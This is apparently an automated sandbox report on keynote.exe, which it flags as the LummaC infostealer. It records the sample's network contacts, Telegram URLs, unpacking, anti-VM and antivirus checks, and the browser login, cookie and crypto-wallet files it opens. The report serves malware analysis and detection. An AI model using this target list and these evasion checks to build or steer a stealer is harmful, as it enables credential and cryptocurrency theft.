Source: keynote.exe, 00000000.00000003.1849512666.000000000303A000.00000004.00000800.00020000.00000000.sdmp, 85210EAE92C8B7A2.dat.0.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: keynote.exe, 00000000.00000003.1712646101.0000000000637000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1846700189.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: keynote.exe, 00000000.00000003.1712478581.0000000002FD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/r32rdsadasdasd
Source: keynote.exe, 00000000.00000003.1712504183.0000000000671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: keynote.exe, 00000000.00000003.1712504183.0000000000671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=6b0b39d451421fae0e_172757399908
Source: keynote.exe, 00000000.00000003.1712504183.0000000000671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.orgX-Frame-OptionsALLOW-FROM
Source: keynote.exe, 00000000.00000003.1986244342.000000000301C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2010492004.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2047376125.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2031976355.000000000300C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: keynote.exe, 00000000.00000003.1980844762.000000000300B000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1981167391.0000000003014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: keynote.exe, 00000000.00000003.1851439271.00000000033E8000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1851357189.0000000003039000.00000004.00000800.00020000.00000000.sdmp, 09B2E2C530B220F2.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://www.mozilla.org
Source: 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: keynote.exe, 00000000.00000003.1958309585.00000000035FD000.00000004.00000800.00020000.00000000.sdmp, 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: keynote.exe, 00000000.00000003.1958309585.00000000035FD000.00000004.00000800.00020000.00000000.sdmp, 6D9825A5BA1684D6.dat.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.68:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: keynote.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/11@3/2

Source: keynote.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\keynote.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: keynote.exe, 00000000.00000003.1850176156.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, 19C54F81EDD87473.dat.0.dr, 9A14DA9076E5547F.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: keynote.exe

Virustotal: Detection: 8%

Source: C:\Users\user\Desktop\keynote.exe

File read: C:\Users\user\Desktop\keynote.exe

Jump to behavior

Source: C:\Users\user\Desktop\keynote.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: keynote.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: keynote.exe

Static file information: File size 6303232 > 1048576

Source: keynote.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x5f9800

Source: keynote.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: keynote.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\Users\annar\source\repos\WindowsProject8\Release\reschekers32.pdb source: keynote.exe

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\keynote.exe

Unpacked PE file: 0.2.keynote.exe.790000.0.unpack

Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF68 push 680067CFh; iretd	0_3_0067CF6D
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF68 push 680067CFh; iretd	0_3_0067CF6D
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF54 push eax; iretd	0_3_0067CF55
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF54 push eax; iretd	0_3_0067CF55
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF50 push eax; iretd	0_3_0067CF51
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF50 push eax; iretd	0_3_0067CF51
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_00683D0F push cs; iretd	0_3_00683D10
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_00683D0F push cs; iretd	0_3_00683D10
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_00683D0F push cs; iretd	0_3_00683D10
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_00683D0F push cs; iretd	0_3_00683D10
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_00683D0F push cs; iretd	0_3_00683D10
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067A78E push 0000000Bh; iretd	0_3_0067A790
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067A78E push 0000000Bh; iretd	0_3_0067A790
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_006830B0 push edx; retf	0_3_006830B1
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF68 push 680067CFh; iretd	0_3_0067CF6D
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF68 push 680067CFh; iretd	0_3_0067CF6D
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF54 push eax; iretd	0_3_0067CF55
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF54 push eax; iretd	0_3_0067CF55
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF50 push eax; iretd	0_3_0067CF51
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_0067CF50 push eax; iretd	0_3_0067CF51
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_00683D0F push cs; iretd	0_3_00683D10
Source: C:\Users\user\Desktop\keynote.exe	Code function: 0_3_00683D0F push cs; iretd	0_3_00683D10

Source: C:\Users\user\Desktop\keynote.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\keynote.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\keynote.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\keynote.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\keynote.exe TID: 7340	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe TID: 7340	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\keynote.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: keynote.exe, keynote.exe, 00000000.00000003.1846700189.000000000066D000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2032273968.0000000000668000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000002.2046177995.0000000000668000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2001069903.0000000000668000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1985583676.0000000000668000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.1712504183.0000000000671000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: keynote.exe, 00000000.00000002.2046044393.0000000000620000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(`g%SystemRoot%\system32\mswsock.dll>

Source: C:\Users\user\Desktop\keynote.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\keynote.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\keynote.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: keynote.exe, 00000000.00000002.2047267989.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2004567918.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2000931458.000000000300C000.00000004.00000800.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2001069903.000000000064F000.00000004.00000020.00020000.00000000.sdmp, keynote.exe, 00000000.00000003.2001180061.0000000002FE6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\keynote.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: keynote.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: 0.2.keynote.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2046044393.00000000005B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: keynote.exe, 00000000.00000003.2032273968.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: keynote.exe, 00000000.00000003.2032273968.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: keynote.exe, 00000000.00000003.1986403934.0000000002FFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty6)vf
Source: keynote.exe, 00000000.00000003.2032273968.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: keynote.exe, 00000000.00000003.1985583676.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: keynote.exe, 00000000.00000003.1986403934.0000000002FFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: keynote.exe, 00000000.00000003.2032273968.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: keynote.exe, 00000000.00000003.1985583676.000000000064F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: keynote.exe, 00000000.00000002.2046284034.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\keynote.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
